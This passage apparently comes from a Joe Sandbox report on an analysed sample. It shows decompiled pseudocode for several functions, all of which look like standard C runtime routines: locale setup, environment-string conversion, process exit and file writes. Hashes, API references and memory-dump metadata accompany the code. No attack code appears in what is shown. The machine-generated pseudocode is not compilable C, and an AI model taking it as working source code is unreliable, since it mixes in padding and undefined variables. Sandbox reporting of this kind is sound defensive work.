Part of subcall function 001A1AA0: std::_Lockit::~_Lockit.LIBCPMT ref: 001A1AD9

ctype.LIBCPMT ref: 001A7B5F
std::_Lockit::~_Lockit.LIBCPMT ref: 001A7B96

Strings

' , xrefs: 001A7B30

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3ctype
String ID: '
API String ID: 3358926169-648482143
Opcode ID: 160a984a0763a42fed57c408b74a1bb23260783937fc7b67f553d69d4822ea52
Instruction ID: 0a679a065eb04b1f50bf5f4a43859ef5633a05caa60c541009f206605c8d725c
Opcode Fuzzy Hash: 160a984a0763a42fed57c408b74a1bb23260783937fc7b67f553d69d4822ea52
Instruction Fuzzy Hash: 09F0907D900215AFCB06FBB0CC16ABE7725AFA2761F144519F511AB1D2EF348B0587A0

Uniqueness

Uniqueness Score: -1.00%

Function 001A7A7F Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E001A7A7F(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t48;
				void* _t64;
				intOrPtr* _t97;
				intOrPtr* _t110;
				intOrPtr* _t112;
				intOrPtr* _t113;
				intOrPtr* _t114;
				void* _t117;

				_t85 = __ebx;
				_push(8);
				E001A9A79(0x1c68ac, __ebx, __edi, __esi);
				E001A612A(_t117 - 0x14, 0);
				_t112 =  *0x2028c0; // 0x0
				 *(_t117 - 4) =  *(_t117 - 4) & 0x00000000;
				 *((intOrPtr*)(_t117 - 0x10)) = _t112;
				_t48 = E001A1B80( *((intOrPtr*)(_t117 + 8)), E001A1AA0(__ebx, 0x2028b0, __edx, __edi));
				_t109 = _t48;
				if(_t48 != 0) {
					L5:
					E001A6182(_t117 - 0x14);
					return E001A9A56(_t109);
				} else {
					if(_t112 == 0) {
						_push( *((intOrPtr*)(_t117 + 8)));
						_push(_t117 - 0x10);
						__eflags = E001A7F1C(__ebx, _t109, _t112, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E001A1910();
							asm("int3");
							_push(8);
							E001A9A79(0x1c68ac, __ebx, _t109, _t112);
							E001A612A(_t117 - 0x14, 0);
							_t113 =  *0x2028bc; // 0xb13290
							 *(_t117 - 4) =  *(_t117 - 4) & 0x00000000;
							 *((intOrPtr*)(_t117 - 0x10)) = _t113;
							_t110 = E001A1B80( *((intOrPtr*)(_t117 + 8)), E001A1AA0(_t85, 0x202720, __edx, _t109));
							__eflags = _t110;
							if(_t110 != 0) {
								L12:
								E001A6182(_t117 - 0x14);
								return E001A9A56(_t110);
							} else {
								__eflags = _t113;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t117 + 8)));
									_push(_t117 - 0x10); // executed
									_t64 = E001A7F84(_t85, _t110, _t113, __eflags); // executed
									_pop(_t97);
									__eflags = _t64 - 0xffffffff;
									if(__eflags == 0) {
										E001A1910();
										asm("int3");
										_push(8);
										E001A9A79(0x1c68ea, _t85, _t110, _t113);
										_t114 = _t97;
										 *((intOrPtr*)(_t117 - 0x14)) = _t114;
										 *((intOrPtr*)(_t117 - 0x10)) = 0;
										__eflags =  *((intOrPtr*)(_t117 + 0x10));
										if( *((intOrPtr*)(_t117 + 0x10)) != 0) {
											 *_t114 = 0x1c7484;
											 *((intOrPtr*)(_t114 + 0x10)) = 0;
											 *((intOrPtr*)(_t114 + 0x30)) = 0;
											 *((intOrPtr*)(_t114 + 0x34)) = 0;
											 *((intOrPtr*)(_t114 + 0x38)) = 0;
											 *((intOrPtr*)(_t114 + 8)) = 0x1c7478;
											 *(_t117 - 4) = 0;
											 *((intOrPtr*)(_t117 - 0x10)) = 1;
										}
										 *((intOrPtr*)(_t114 +  *((intOrPtr*)( *_t114 + 4)))) = 0x1c7480;
										_t40 =  *((intOrPtr*)( *_t114 + 4)) - 8; // -8
										 *((intOrPtr*)( *((intOrPtr*)( *_t114 + 4)) + _t114 - 4)) = _t40;
										__eflags =  *((intOrPtr*)( *_t114 + 4)) + _t114;
										E001A8284(_t85,  *((intOrPtr*)( *_t114 + 4)) + _t114, _t110,  *((intOrPtr*)( *_t114 + 4)) + _t114,  *((intOrPtr*)(_t117 + 8)),  *((intOrPtr*)(_t117 + 0xc)));
										return E001A9A56(_t114);
									} else {
										_t110 =  *((intOrPtr*)(_t117 - 0x10));
										 *((intOrPtr*)(_t117 - 0x10)) = _t110;
										 *(_t117 - 4) = 1;
										E001A644B(__eflags, _t110);
										 *0x1c7144();
										 *((intOrPtr*)( *((intOrPtr*)( *_t110 + 4))))();
										 *0x2028bc = _t110;
										goto L12;
									}
								} else {
									_t110 = _t113;
									goto L12;
								}
							}
						} else {
							_t109 =  *((intOrPtr*)(_t117 - 0x10));
							 *((intOrPtr*)(_t117 - 0x10)) = _t109;
							 *(_t117 - 4) = 1;
							E001A644B(__eflags, _t109);
							 *0x1c7144();
							 *((intOrPtr*)( *((intOrPtr*)( *_t109 + 4))))();
							 *0x2028c0 = _t109;
							goto L5;
						}
					} else {
						_t109 = _t112;
						goto L5;
					}
				}
			}

0x001a7a7f
0x001a7a7f
0x001a7a86
0x001a7a90
0x001a7a95
0x001a7aa0
0x001a7aa4
0x001a7ab0
0x001a7ab5
0x001a7ab9
0x001a7afe
0x001a7b01
0x001a7b0d
0x001a7abb
0x001a7abd
0x001a7ac3
0x001a7ac9
0x001a7ad1
0x001a7ad4
0x001a7b0e
0x001a7b13
0x001a7b14
0x001a7b1b
0x001a7b25
0x001a7b2a
0x001a7b35
0x001a7b39
0x001a7b4a
0x001a7b4c
0x001a7b4e
0x001a7b93
0x001a7b96
0x001a7ba2
0x001a7b50
0x001a7b50
0x001a7b52
0x001a7b58
0x001a7b5e
0x001a7b5f
0x001a7b65
0x001a7b66
0x001a7b69
0x001a7ba3
0x001a7ba8
0x001a7ba9
0x001a7bb0
0x001a7bb5
0x001a7bb7
0x001a7bbc
0x001a7bbf
0x001a7bc2
0x001a7bc4
0x001a7bca
0x001a7bcd
0x001a7bd0
0x001a7bd3
0x001a7bd6
0x001a7bdd
0x001a7be0
0x001a7be0
0x001a7bf2
0x001a7bfe
0x001a7c01
0x001a7c0a
0x001a7c0c
0x001a7c18
0x001a7b6b
0x001a7b6b
0x001a7b6e
0x001a7b72
0x001a7b76
0x001a7b83
0x001a7b8b
0x001a7b8d
0x00000000
0x001a7b8d
0x001a7b54
0x001a7b54
0x00000000
0x001a7b54
0x001a7b52
0x001a7ad6
0x001a7ad6
0x001a7ad9
0x001a7add
0x001a7ae1
0x001a7aee
0x001a7af6
0x001a7af8
0x00000000
0x001a7af8
0x001a7abf
0x001a7abf
0x00000000
0x001a7abf
0x001a7abd

APIs

__EH_prolog3.LIBCMT ref: 001A7A86
std::_Lockit::_Lockit.LIBCPMT ref: 001A7A90

Part of subcall function 001A1AA0: std::_Lockit::_Lockit.LIBCPMT ref: 001A1ABC
Part of subcall function 001A1AA0: std::_Lockit::~_Lockit.LIBCPMT ref: 001A1AD9

codecvt.LIBCPMT ref: 001A7ACA
std::_Facet_Register.LIBCPMT ref: 001A7AE1
std::_Lockit::~_Lockit.LIBCPMT ref: 001A7B01

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 8767c7605b5e585c92d10fdaebf64f64590831e7abd622d9a58c4edd2de8519c
Instruction ID: 4a3e4379bf920309bc6de6be0e03810eafb56a6f546a06a6f4351fa706559e9c
Opcode Fuzzy Hash: 8767c7605b5e585c92d10fdaebf64f64590831e7abd622d9a58c4edd2de8519c
Instruction Fuzzy Hash: 3201D63D904215EFCB06EB64DC156BE7771AFA6710F284409E411672D2DF749F01C791

Uniqueness

Uniqueness Score: -1.00%

Function 001BF0F3 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E001BF0F3() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t10;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E001BF0BC(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E001BDD41(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t10 = E001B6429(_t9); // executed
						_t26 = _t10;
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E001BDD41() != 0) {
								E001B63EF(0);
								_t19 = _t26;
							} else {
								E001B63EF(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E001B63EF();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x001bf0f9
0x001bf0fb
0x001bf101
0x001bf105
0x001bf10d
0x001bf112
0x001bf120
0x001bf123
0x001bf12b
0x001bf130
0x001bf13f
0x001bf144
0x001bf147
0x001bf14a
0x001bf15d
0x001bf15e
0x001bf161
0x001bf162
0x001bf165
0x001bf166
0x001bf167
0x001bf172
0x001bf17d
0x001bf182
0x001bf174
0x001bf175
0x001bf175
0x001bf186
0x001bf18c
0x001bf14c
0x001bf14c
0x001bf153
0x001bf159
0x001bf159
0x001bf132
0x001bf133
0x001bf139
0x001bf139
0x001bf18f
0x001bf192

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001BF0FB

Part of subcall function 001BDD41: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,001BC41B,?,00000000,-00000008), ref: 001BDDED

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001BF133
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001BF153

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: fb0956acd832302a403a6def59cff5633bf2b0b2566c2c00e216d24507b35c13
Instruction ID: da692f8a9dad07389869e6df4612f5cba152ece148f437d0851d258691616730
Opcode Fuzzy Hash: fb0956acd832302a403a6def59cff5633bf2b0b2566c2c00e216d24507b35c13
Instruction Fuzzy Hash: 2411C0F2505619BEA71627BAEC8ACEF6D9CDEA93A4714042CF409D1141FBA4CD428AB1

Uniqueness

Uniqueness Score: -1.00%

Function 001A1990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E001A1990(signed int* __ecx, void* __esi) {
				intOrPtr _v0;
				signed int _t37;
				signed int* _t51;
				signed int* _t55;
				signed int* _t56;
				void* _t59;
				void* _t60;

				_t50 = __ecx;
				_t55 = __ecx;
				E001A612A(__ecx, 0);
				__ecx[1] = 0;
				__ecx[6] = 0;
				__ecx[7] = 0;
				__ecx[8] = 0;
				__ecx[9] = 0;
				__ecx[0xa] = 0;
				__ecx[0xb] = 0;
				__ecx[0xc] = 0;
				_t28 = _v0;
				__ecx[2] = 0;
				__ecx[3] = 0;
				__ecx[4] = 0;
				__ecx[5] = 0;
				if(_v0 == 0) {
					E001A62F1("bad locale name");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t55);
					_t56 = _t50;
					E001A65C8(_t50, _t56);
					_t31 = _t56[0xb];
					_t60 = _t59 + 4;
					if(_t56[0xb] != 0) {
						E001AFB09(_t31);
						_t60 = _t60 + 4;
					}
					_t56[0xb] = 0;
					_t32 = _t56[9];
					if(_t56[9] != 0) {
						E001AFB09(_t32);
						_t60 = _t60 + 4;
					}
					_t56[9] = 0;
					_t33 = _t56[7];
					if(_t56[7] != 0) {
						E001AFB09(_t33);
						_t60 = _t60 + 4;
					}
					_t56[7] = 0;
					_t34 = _t56[5];
					if(_t56[5] != 0) {
						E001AFB09(_t34);
						_t60 = _t60 + 4;
					}
					_t56[5] = 0;
					_t35 = _t56[3];
					if(_t56[3] != 0) {
						E001AFB09(_t35);
						_t60 = _t60 + 4;
					}
					_t56[3] = 0;
					_t36 = _t56[1];
					if(_t56[1] != 0) {
						E001AFB09(_t36);
					}
					_t56[1] = 0;
					_t51 = _t56;
					_t37 =  *_t51;
					if(_t37 == 0) {
						return E001AFFDD(4);
					} else {
						if(_t37 < 8) {
							return E001A9014(0x202648 + _t37 * 0x18, 0x202648 + _t37 * 0x18);
						}
						return _t37;
					}
				} else {
					E001A657D(__ecx, __ecx, _t28); // executed
					return _t55;
				}
			}

0x001a1990
0x001a1993
0x001a1995
0x001a199c
0x001a19a3
0x001a19a7
0x001a19aa
0x001a19ae
0x001a19b1
0x001a19b4
0x001a19b7
0x001a19ba
0x001a19be
0x001a19c2
0x001a19c9
0x001a19cd
0x001a19d6
0x001a19ed
0x001a19f2
0x001a19f3
0x001a19f4
0x001a19f5
0x001a19f6
0x001a19f7
0x001a19f8
0x001a19f9
0x001a19fa
0x001a19fb
0x001a19fc
0x001a19fd
0x001a19fe
0x001a19ff
0x001a1a00
0x001a1a01
0x001a1a04
0x001a1a09
0x001a1a0c
0x001a1a11
0x001a1a14
0x001a1a19
0x001a1a19
0x001a1a1c
0x001a1a23
0x001a1a28
0x001a1a2b
0x001a1a30
0x001a1a30
0x001a1a33
0x001a1a3a
0x001a1a3f
0x001a1a42
0x001a1a47
0x001a1a47
0x001a1a4a
0x001a1a51
0x001a1a56
0x001a1a59
0x001a1a5e
0x001a1a5e
0x001a1a61
0x001a1a68
0x001a1a6d
0x001a1a70
0x001a1a75
0x001a1a75
0x001a1a78
0x001a1a7f
0x001a1a84
0x001a1a87
0x001a1a8c
0x001a1a8f
0x001a1a96
0x001a6182
0x001a6186
0x001b000a
0x001a618c
0x001a618f
0x00000000
0x001a619f
0x001a61a0
0x001a61a0
0x001a19d8
0x001a19da
0x001a19e5
0x001a19e5

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001A1995
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001A19DA

Part of subcall function 001A657D: _Yarn.LIBCPMT ref: 001A659C
Part of subcall function 001A657D: _Yarn.LIBCPMT ref: 001A65C0

Strings

bad locale name, xrefs: 001A19E8

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: b4e778d63f505bc5ef9a295590888db5ee1f51b58767f6114f6a482ec36a6319
Instruction ID: 2f302b893da4bbebadc378994360848fd42072bc153d6ad7dcdd1d647032ea4a
Opcode Fuzzy Hash: b4e778d63f505bc5ef9a295590888db5ee1f51b58767f6114f6a482ec36a6319
Instruction Fuzzy Hash: 88F017B4505B409ED370DF798415743BEE0AF2A314F048E2EE4DAC7A42E375E508CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 001B3DC5 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E001B3DC5(int _a4) {
				void* _t8;
				void* _t10;

				if(E001B3E39(_t8, _t10) != 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E001B3E5B(_a4);
				ExitProcess(_a4);
			}

0x001b3dd1
0x001b3ddd
0x001b3ddd
0x001b3de6
0x001b3def

APIs

GetCurrentProcess.KERNEL32(001B3F1B,?,001B3DBF,00000000,?,?,001B3F1B,8121A627,?,001B3F1B), ref: 001B3DD6
TerminateProcess.KERNEL32(00000000,?,001B3DBF,00000000,?,?,001B3F1B,8121A627,?,001B3F1B), ref: 001B3DDD
ExitProcess.KERNEL32 ref: 001B3DEF

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e044192a29438b2ac12d002bdc55ab9b23cdbec99b6a4df13a3dc4d5fc3e6a44
Instruction ID: 250d7aedc499807bd795d7318cd4cd1dca395e55be8230e915eda770df47822e
Opcode Fuzzy Hash: e044192a29438b2ac12d002bdc55ab9b23cdbec99b6a4df13a3dc4d5fc3e6a44
Instruction Fuzzy Hash: 35D09231004249ABCF512FA0ED0DDAE3F2AEF41741B444055FA2A4A5B1DFB6DBB29F94

Uniqueness

Uniqueness Score: -1.00%

Function 001BAA00 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E001BAA00(signed int _a4, void* _a8, signed int _a12, intOrPtr _a16) {
				void* _v5;
				void* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				long _v44;
				char _v48;
				intOrPtr _v52;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t78;
				intOrPtr _t82;
				char _t83;
				signed char _t85;
				signed int _t87;
				signed int _t90;
				signed int _t92;
				signed int _t95;
				signed int _t96;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr _t117;
				signed int _t119;
				struct _OVERLAPPED* _t120;
				signed int _t123;
				signed int _t124;
				signed int _t127;
				struct _OVERLAPPED* _t129;
				void* _t132;

				_t114 = _a12;
				_t78 = _a8;
				_v12 = _t78;
				_v16 = _t114;
				_t113 = _a16;
				_t124 = _a4;
				if(_t114 == 0) {
					L36:
					__eflags = 0;
					return 0;
				}
				if(_t78 != 0) {
					_t127 = _t124 >> 6;
					_t123 = (_t124 & 0x0000003f) * 0x38;
					_v20 = _t127;
					_t82 =  *((intOrPtr*)(0x203178 + _t127 * 4));
					_v52 = _t82;
					_v24 = _t123;
					_t83 =  *((intOrPtr*)(_t123 + _t82 + 0x29));
					_v5 = _t83;
					__eflags = _t83 - 2;
					if(_t83 == 2) {
						L6:
						_t85 =  !_t114;
						__eflags = _t85 & 0x00000001;
						if((_t85 & 0x00000001) == 0) {
							goto L2;
						}
						L7:
						_t129 = 0;
						__eflags =  *(_t123 + _v52 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E001BB474(_t124, 0, 0, 2, _t113);
							_t132 = _t132 + 0x14;
						}
						_t90 = E001BA584(_t114, __eflags, _t124, _t113);
						__eflags = _t90;
						if(_t90 == 0) {
							_t117 =  *((intOrPtr*)(0x203178 + _v20 * 4));
							_t92 = _v24;
							__eflags =  *((char*)(_t92 + _t117 + 0x28));
							if( *((char*)(_t92 + _t117 + 0x28)) >= 0) {
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t95 = WriteFile( *(_t92 + _t117 + 0x18), _v12, _v16,  &_v44, _t129);
								__eflags = _t95;
								if(_t95 == 0) {
									_v48 = GetLastError();
								}
								goto L26;
							}
							_t101 = _v5 - _t129;
							__eflags = _t101;
							if(_t101 == 0) {
								E001BA602( &_v48, _t124, _v12, _v16); // executed
								L20:
								goto L13;
							}
							_t104 = _t101 - 1;
							__eflags = _t104;
							if(_t104 == 0) {
								_t103 = E001BA7C6( &_v48, _t124, _v12, _v16);
								goto L20;
							}
							__eflags = _t104 != 1;
							if(_t104 != 1) {
								goto L32;
							}
							_t103 = E001BA6DD( &_v48, _t124, _v12, _v16);
							goto L20;
						} else {
							_t108 = _v5;
							__eflags = _t108;
							if(_t108 == 0) {
								_t103 = E001BA14A( &_v48, _t124, _v12, _v16, _t113);
								L13:
								L26:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t96 = _v32;
								__eflags = _t96;
								if(_t96 != 0) {
									return _t96 - _v28;
								}
								_t87 = _v36;
								__eflags = _t87;
								if(_t87 == 0) {
									_t129 = 0;
									__eflags = 0;
									L32:
									_t119 = _v24;
									_t87 =  *(0x203178 + _v20 * 4);
									__eflags =  *(_t119 + _t87 + 0x28) & 0x00000040;
									if(( *(_t119 + _t87 + 0x28) & 0x00000040) == 0) {
										L34:
										 *((char*)(_t113 + 0x1c)) = 1;
										 *((intOrPtr*)(_t113 + 0x18)) = 0x1c;
										 *((char*)(_t113 + 0x24)) = 1;
										 *(_t113 + 0x20) = _t129;
										L3:
										return _t87 | 0xffffffff;
									}
									_t87 = _v12;
									__eflags =  *_t87 - 0x1a;
									if( *_t87 == 0x1a) {
										goto L36;
									}
									goto L34;
								}
								_t120 = 5;
								__eflags = _t87 - _t120;
								if(_t87 != _t120) {
									_t87 = E001AFF0A(_t87, _t113);
								} else {
									 *((char*)(_t113 + 0x1c)) = 1;
									 *((intOrPtr*)(_t113 + 0x18)) = 9;
									 *((char*)(_t113 + 0x24)) = 1;
									 *(_t113 + 0x20) = _t120;
								}
								goto L3;
							}
							__eflags = _t108 - 1 - 1;
							if(_t108 - 1 > 1) {
								goto L32;
							}
							E001BA51C( &_v48, _v12, _v16);
							goto L13;
						}
					}
					__eflags = _t83 - 1;
					if(_t83 != 1) {
						goto L7;
					}
					goto L6;
				}
				L2:
				 *((char*)(_t113 + 0x24)) = 1;
				 *(_t113 + 0x20) = 0;
				 *((char*)(_t113 + 0x1c)) = 1;
				 *((intOrPtr*)(_t113 + 0x18)) = 0x16;
				_t87 = E001AFDC6(_t124, _t127, 0, 0, 0, 0, 0, _t113);
				goto L3;
			}

0x001baa08
0x001baa0b
0x001baa0e
0x001baa11
0x001baa15
0x001baa1a
0x001baa1f
0x001babf9
0x001babf9
0x00000000
0x001babf9
0x001baa27
0x001baa5a
0x001baa5d
0x001baa60
0x001baa63
0x001baa6a
0x001baa6d
0x001baa70
0x001baa74
0x001baa77
0x001baa79
0x001baa7f
0x001baa81
0x001baa83
0x001baa85
0x00000000
0x00000000
0x001baa87
0x001baa8a
0x001baa8c
0x001baa91
0x001baa99
0x001baa9e
0x001baa9e
0x001baaa3
0x001baaaa
0x001baaac
0x001baaf1
0x001baaf8
0x001baafb
0x001bab00
0x001bab5a
0x001bab5c
0x001bab5d
0x001bab69
0x001bab6f
0x001bab71
0x001bab79
0x001bab79
0x00000000
0x001bab7c
0x001bab06
0x001bab06
0x001bab08
0x001bab4a
0x001bab28
0x00000000
0x001bab28
0x001bab0a
0x001bab0a
0x001bab0d
0x001bab38
0x00000000
0x001bab38
0x001bab0f
0x001bab12
0x00000000
0x00000000
0x001bab23
0x00000000
0x001baaae
0x001baaae
0x001baab1
0x001baab3
0x001baae4
0x001baad1
0x001bab7f
0x001bab82
0x001bab83
0x001bab84
0x001bab85
0x001bab88
0x001bab8a
0x00000000
0x001babf4
0x001bab8c
0x001bab8f
0x001bab91
0x001babbf
0x001babbf
0x001babc1
0x001babc4
0x001babc7
0x001babce
0x001babd3
0x001babdd
0x001babdd
0x001babe1
0x001babe8
0x001babec
0x001baa4b
0x00000000
0x001baa4b
0x001babd5
0x001babd8
0x001babdb
0x00000000
0x00000000
0x00000000
0x001babdb
0x001bab95
0x001bab96
0x001bab98
0x001babb3
0x001bab9a
0x001bab9a
0x001bab9e
0x001baba5
0x001baba9
0x001baba9
0x00000000
0x001bab98
0x001baab7
0x001baab9
0x00000000
0x00000000
0x001baac9
0x00000000
0x001baace
0x001baaac
0x001baa7b
0x001baa7d
0x00000000
0x00000000
0x00000000
0x001baa7d
0x001baa29
0x001baa2b
0x001baa33
0x001baa37
0x001baa3c
0x001baa43
0x00000000

APIs

Part of subcall function 001BA14A: GetConsoleOutputCP.KERNEL32(8121A627,00000000,00000000,00000000), ref: 001BA1AD

WriteFile.KERNEL32(?,00000000,?,001D4340,00000000,0000000C,00000000,00000000,?,00000000,001D4340,00000010,001B1703,00000000,00000000,00000000), ref: 001BAB69
GetLastError.KERNEL32(?,00000000), ref: 001BAB73

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 36d0058b0e7e520903bd6f7a6669871bd6f7f7be4fac7852de5cb89ce16cb572
Instruction ID: 1160ac9ad0e0b6746cfb6b0fceae1d033f4674bfcb872c78a7bdd0830505ae49
Opcode Fuzzy Hash: 36d0058b0e7e520903bd6f7a6669871bd6f7f7be4fac7852de5cb89ce16cb572
Instruction Fuzzy Hash: EC61E1B1D04249AFDF15CFB8C984EEEBFB9AF19304F444089E854A7242D332D945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001BA602 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E001BA602(void* _a4, signed int _a8, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				void _v5128;
				long _v5132;
				intOrPtr _v5136;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t41;
				long _t43;
				char _t44;
				void* _t46;
				intOrPtr* _t50;
				intOrPtr _t54;
				void* _t55;
				long _t56;
				char* _t57;
				signed int _t58;

				E001AA310(0x140c);
				_t29 =  *0x1d5010; // 0x8121a627
				_v8 = _t29 ^ _t58;
				_t47 = _a8;
				_t46 = _a4;
				_t55 = _t46;
				_t50 = _a12;
				_t54 = _a16 + _t50;
				_v5132 =  *((intOrPtr*)( *((intOrPtr*)(0x203178 + (_a8 >> 6) * 4)) + 0x18 + (_t47 & 0x0000003f) * 0x38));
				asm("stosd");
				_v5136 = _t54;
				asm("stosd");
				asm("stosd");
				if(_t50 < _t54) {
					_t55 = _v5132;
					do {
						_t57 =  &_v5128;
						while(_t50 < _t54) {
							_t44 =  *_t50;
							_t50 = _t50 + 1;
							if(_t44 == 0xa) {
								 *((intOrPtr*)(_t46 + 8)) =  *((intOrPtr*)(_t46 + 8)) + 1;
								 *_t57 = 0xd;
								_t57 = _t57 + 1;
							}
							 *_t57 = _t44;
							_t57 = _t57 + 1;
